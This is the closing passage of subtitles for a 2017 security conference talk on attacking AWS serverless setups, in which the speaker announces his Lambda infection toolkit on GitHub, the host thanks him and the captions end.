00:31:24,379 --> 00:31:29,879
AWS Lambda Infection Toolkit! Call mackenzie
you can figure out why on your own.
326
00:31:29,879 --> 00:31:37,400
It can do a lot of the tricks that we
talked about today. Exfil, infiltration,
327
00:31:37,400 --> 00:31:43,380
creating reinfection handlers, all the
stuff, maybe your feature, put it on
328
00:31:43,380 --> 00:31:48,950
github this afternoon, check it out! In
conclusion, server-less architectures present
329
00:31:48,950 --> 00:31:53,350
new obstacles, but we can defeat those
obstacles by abusing cloud features
330
00:31:53,350 --> 00:31:56,740
themselves. Do you need secure serverless
apps, you should hire me.
331
00:31:56,740 --> 00:31:57,740
laughing
332
00:31:57,740 --> 00:32:01,379
Do you want to contribute code, you should
check out my github. You should also check
333
00:32:01,379 --> 00:32:04,609
out the slack channel. Shout out to
everybody in the zappa slack, is a ton of
334
00:32:04,609 --> 00:32:09,900
super smart AWS people doing interesting
things in there, thank you!
335
00:32:09,900 --> 00:32:12,070
applause
336
00:32:12,070 --> 00:32:16,039
Herald: Allright, perfect.
337
00:32:16,039 --> 00:32:19,179
applause
338
00:32:19,179 --> 00:32:24,890
Herald: Thanks a lot Rich. Unfortunately we don't
have any time left for Q&A, but, are you
339
00:32:24,890 --> 00:32:28,760
gonna be around for questions, perfect.
So if you are in the room, you can just
340
00:32:28,760 --> 00:32:35,839
come, ask Rich questions, if you are
remote, you've seen the contact possibilities.
341
00:32:37,529 --> 00:32:43,026
closing music
342
00:32:43,026 --> 00:33:02,000
subtitles created by c3subtitles.de
in the year 2017. Join, and help us!